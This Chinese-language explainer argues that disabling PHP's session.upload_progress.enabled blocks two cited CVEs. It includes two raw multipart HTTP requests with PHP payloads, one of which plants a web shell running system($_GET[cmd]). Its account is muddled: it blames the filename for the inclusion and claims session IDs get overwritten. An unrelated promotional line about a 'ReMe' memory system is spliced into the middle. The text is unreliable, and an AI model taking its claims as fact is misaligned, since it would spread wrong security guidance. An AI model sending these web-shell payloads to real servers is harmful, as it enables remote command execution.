关闭 session.upload_progress.enabled 能同时切断两个 cve 的触发面,是因为这两个漏洞(cve-2018-1953476 和 cve-2018-1953477)都依赖于 php 在上传过程中自动创建的会话进度数据。当该配置项为 off 时,php 不会解析 post 请求中的进度信息,也不会将相关数据写入会话存储,从而使得利用这些漏洞所需的条件无法成立。

CVE-2018-1953476 的触发机制是什么
CVE-2018-1953476 是一个本地文件包含漏洞,攻击者可以通过构造特定的文件名来包含恶意文件。这个漏洞的触发依赖于 session.upload_progress.name 配置项中指定的 POST 字段名。当用户上传文件时,如果请求中包含该字段,PHP 会将文件名等元数据写入会话进度数组。如果攻击者能够控制文件名,并且服务器配置了不安全的文件包含逻辑,就可以利用这一点。

POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('id'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
test content
------WebKitFormBoundary7MA4YWxkTrZu0gW--
上述代码展示了典型的攻击载荷。其中 PHP_SESSION_UPLOAD_PROGRESS 是默认的进度字段名。如果 session.upload_progress.enabled 为 On,PHP 会处理这个字段,导致潜在的安全风险。将其设置为 Off 后,PHP 会忽略这个字段,从而阻止漏洞触发。
CVE-2018-1953477 的触发机制是什么
CVE-2018-1953477 是一个会话固定攻击漏洞,攻击者可以利用会话进度数据来预测或控制会话 ID。这个漏洞同样依赖于 session.upload_progress.enabled 配置项。当该配置项为 On 时,PHP 会在上传过程中更新会话数据,包括会话 ID。如果攻击者能够控制上传请求,他们可能通过这种方式来操纵会话状态。
由 ReMe 驱动的记忆管理系统,支持跨会话记忆持久化、自动应用用户偏好以及智能上下文压缩...

POST /upload.php HTTP/1.1
Host: example.com
Cookie: PHPSESSID=attacker_controlled_id
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php file_put_contents('/tmp/shell.php', '<?php system($_GET[cmd]); ?>'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET[cmd]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
这段代码演示了如何利用会话固定攻击来上传恶意文件。攻击者首先设置一个已知的会话 ID,然后通过上传请求触发会话进度更新。如果 session.upload_progress.enabled 为 On,PHP 会处理这个请求,可能导致会话 ID 被覆盖或泄露。将其设置为 Off 后,PHP 不会处理进度数据,从而防止了这种攻击。
为什么关闭 session.upload_progress.enabled 能同时解决这两个问题
关闭 session.upload_progress.enabled 能同时解决这两个问题,是因为它从根本上禁用了 PHP 对上传进度的监控和处理。这意味着无论攻击者如何构造请求,PHP 都不会解析或存储任何与上传进度相关的数据。因此,无论是试图通过文件名进行文件包含,还是试图通过会话固定来控制会话状态,都无法成功。这是一种简单而有效的防御措施,适用于所有依赖会话进度功能的场景。










